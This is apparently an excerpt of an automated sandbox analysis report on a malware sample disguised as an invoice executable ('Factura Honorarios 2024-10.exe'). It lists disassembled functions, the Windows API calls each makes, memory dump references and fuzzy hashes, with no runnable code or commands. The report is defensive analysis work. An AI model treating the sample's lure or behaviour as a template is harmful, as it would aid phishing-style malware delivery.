Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction ID: c80361359d7f931d767c6e620dd41e9efa8b0f2766ef6758dcd107922aa8e93c
Opcode Fuzzy Hash: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction Fuzzy Hash: 8E110671A00109AEEB11DFA5C945DEEBBB9EF44344F21407AF901F62A1D7349E50DB68

Function 00402D05 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402EE5,?,?,?,?,00000000,00403425,?), ref: 00402D18
GetTickCount.KERNEL32 ref: 00402D36
CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402D53
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403425,?), ref: 00402D61

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction ID: 4886259ddd31cdb6a9694f28afcf93f0b8e262fe2de839e253ac22cc8a8e0fbd
Opcode Fuzzy Hash: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction Fuzzy Hash: 09F05E3198A221ABD6315B20FE4C99B7BA4FB05B11B14547AF005F11E4C2B84C81CB9C

Function 00404F95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404FC4
CallWindowProcW.USER32(?,?,?,?), ref: 00405015

Part of subcall function 00404008: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Strings

, xrefs: 00404FA5

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction ID: 66009aff32d7b8830e361c6277d22b8a437e9b10976337e76806f1b42b6c8603
Opcode Fuzzy Hash: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction Fuzzy Hash: 7A017172100609ABDF209F11DD80A5F3A25E784318F204037FB00761D1C37A9D51DAAE

Function 004036AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,00403684,004034C6,?), ref: 004036C6
GlobalFree.KERNEL32(?), ref: 004036CD

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004036BE

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction ID: e725929a78bd54513bffc085a294c09ba81a7575a3dcdc05b4864a3003f147fa
Opcode Fuzzy Hash: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction Fuzzy Hash: 8AE0C2339010206BC7315F55EC0871ABBAC6F99B72F054527E9407B3A18374AC524FDC

Function 0040580E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00405814
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,80000000,00000003,?,?,?,00000000,00403425), ref: 00405824

Strings

C:\Users\user\Desktop, xrefs: 0040580E

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: 54f9e395c00b90dc5451f5026eb4b74e0c6c88693738feeaeea148d18d65316b
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C9D05EB34109209AD3227B04DC049EF77ADEF563107458467F800A21A0D3785C908AED

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,?), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405948 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
lstrcmpiA.KERNEL32(00405B82,00000000), ref: 00405970
CharNextA.USER32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405981
lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction ID: 6e6ac9e946d98d70bf9313254ac0794fd071748d29dfdc9c098e77395f368069
Opcode Fuzzy Hash: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction Fuzzy Hash: B9F0C232504554EFC7029FA9DD0099EBBA8EF06260B2540B6E801F7210D274EE019BA9

Analysis Process: Factura Honorarios 2024-10.exePID: 5852, Parent PID: 7144COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	8.7%
Total number of Nodes:	80
Total number of Limit Nodes:	8

Executed Functions

Function 00169DE0 Relevance: 6.1, Strings: 4, Instructions: 1137COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0016A518
4'^q, xrefs: 00169F0C
4'^q, xrefs: 00169E04
4'^q, xrefs: 0016AB13

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: 677f287ebdee86e805863947384528a75120d8d4fce496cec1e4961027c2c3e0
Instruction ID: 78d9e152ef44516e05564c8524ccb617bc0f6d35024f2b41eb4693b56d622d34
Opcode Fuzzy Hash: 677f287ebdee86e805863947384528a75120d8d4fce496cec1e4961027c2c3e0
Instruction Fuzzy Hash: 63A28031A00209DFCB15CFA8C994AAEBBF6BF88310F55856AE405EB261D731ED91CF51

Function 00166FC8 Relevance: 5.4, Strings: 4, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 00167212
,bq, xrefs: 00167298
,bq, xrefs: 0016728A
(o^q, xrefs: 00167220

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq
API String ID: 0-879173519
Opcode ID: 7f74d6846c06d62a79bedd7389e196cf4143e2f58e8171c3bad60142a6cf74a8
Instruction ID: 52dfb08b991574872361e8954cb9da43f2ce1d089ce08dc3cc5f23a99053dfaf
Opcode Fuzzy Hash: 7f74d6846c06d62a79bedd7389e196cf4143e2f58e8171c3bad60142a6cf74a8
Instruction Fuzzy Hash: 3B025F30A04219DFCB15CF69DD84AADBBF2BF49304F25846AE815AB3A1DB30DD51CB51

Function 39C55028 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 39C58408

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 0abab5801a00cce453b8fe2a1a2c801cabdf5460a329ccd99e28d38f725cef3c
Instruction ID: 5b6007ab358b4829437d775f76ac4e2b1b8ebaaef5a23469270608804cecc576
Opcode Fuzzy Hash: 0abab5801a00cce453b8fe2a1a2c801cabdf5460a329ccd99e28d38f725cef3c
Instruction Fuzzy Hash: 0573F731C10B598EDB11EF68C854A99FBB1FF99300F51D69AE44977221EB70AAC4CF81

Function 0016C468 Relevance: 4.0, Strings: 3, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0016C6D0
9, xrefs: 0016C469
PH^q, xrefs: 0016C6BF

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: 9$PH^q$PH^q
API String ID: 0-3344422929
Opcode ID: df9c698e6e0be7968e169cbc928c6e18caedead7462d69de6f7abab2667815da
Instruction ID: 173b8d6e8d9a60ff56dbd2cf49c183d6b794df1cd9928e4ffbab42c90b34d897
Opcode Fuzzy Hash: df9c698e6e0be7968e169cbc928c6e18caedead7462d69de6f7abab2667815da
Instruction Fuzzy Hash: 3D91D574E00218CFDB18DFAAD984AADBBF2BF88300F10906AE459AB365DB345941CF50

Function 0016C738 Relevance: 3.9, Strings: 3, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9, xrefs: 0016C739
PH^q, xrefs: 0016C98F
PH^q, xrefs: 0016C9A0

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: 9$PH^q$PH^q
API String ID: 0-3344422929
Opcode ID: 914136bb466d2b681075096cf2e8bdfc4bcd9cd0cf784ee64e135ed2eb8363b3
Instruction ID: b73dcd1f2cd7b3e3209144abb70bf33c2b4b9d45c7ce1239bc9c029e8346ebd9
Opcode Fuzzy Hash: 914136bb466d2b681075096cf2e8bdfc4bcd9cd0cf784ee64e135ed2eb8363b3
Instruction Fuzzy Hash: 8581C474E00218CFDB18DFAAD984A9DBBF2BF88304F14C069E458AB365DB349985CF50

Function 001669A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

(o^q, xrefs: 00166EDA
Hbq, xrefs: 00166DA6

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: 64bd496f363155def8b482e805aea213f829dcfa6706197e6650352512fd9fe9
Instruction ID: eb735de3e0a723c4d15ab0fa85032e0d1835ee40c9552bcf3c02ac8d40b2ccf0
Opcode Fuzzy Hash: 64bd496f363155def8b482e805aea213f829dcfa6706197e6650352512fd9fe9
Instruction Fuzzy Hash: F9128070B002199FDB14DFA9C854AAEBBF6BF88304F248569E545EB395DF309D41CB90

Function 00163E09 Relevance: 2.9, Strings: 2, Instructions: 431
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 00163E2E
Xbq, xrefs: 00163E47

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: Xbq$$^q
API String ID: 0-1593437937
Opcode ID: a66a755ad54d2b4bd30d0eb167dbf0ded240a0904b00741d619c82f155ee1120
Instruction ID: 204d6e8ea3b8e09cd0fd9151b03d7441a36b0f85b9e87886df12172aa4de0c4e
Opcode Fuzzy Hash: a66a755ad54d2b4bd30d0eb167dbf0ded240a0904b00741d619c82f155ee1120
Instruction Fuzzy Hash: C3F16B74E04318DFDB08DFB9D8945AEBBB2BF89300B148569E406AB364CF399912CB55

Function 00165362 Relevance: 2.7, Strings: 2, Instructions: 194COMMON

Download Yara Rule

Strings

PH^q, xrefs: 001655D9
PH^q, xrefs: 001655C8

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 9b910232767f897212b04b470e0897bae63906c45e3298b0b3a379d2d195cd1d
Instruction ID: 4802b030ab432932d4542b41c86637d000939822910e2752bc839cf1a7c97864
Opcode Fuzzy Hash: 9b910232767f897212b04b470e0897bae63906c45e3298b0b3a379d2d195cd1d
Instruction Fuzzy Hash: 1391D774E00658CFDB18CFA9D984A9DBBF2BF89300F15806AE409AB365DB349985CF50

Function 0016CA08 Relevance: 2.7, Strings: 2, Instructions: 187COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016CC70
PH^q, xrefs: 0016CC5F

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 4c361c3db2d77f77c632faa0dae8e796a787c3ae2bc6b2eca8082c1611256b95
Instruction ID: bed261e3eb7956d45ae437e7d6dc6d49b2de9c65bc4eb22aa2de2088507add53
Opcode Fuzzy Hash: 4c361c3db2d77f77c632faa0dae8e796a787c3ae2bc6b2eca8082c1611256b95
Instruction Fuzzy Hash: EB81C574E00218CFDB18DFAAD894AADBBF2BF89300F14C069E459AB365DB349945CF50

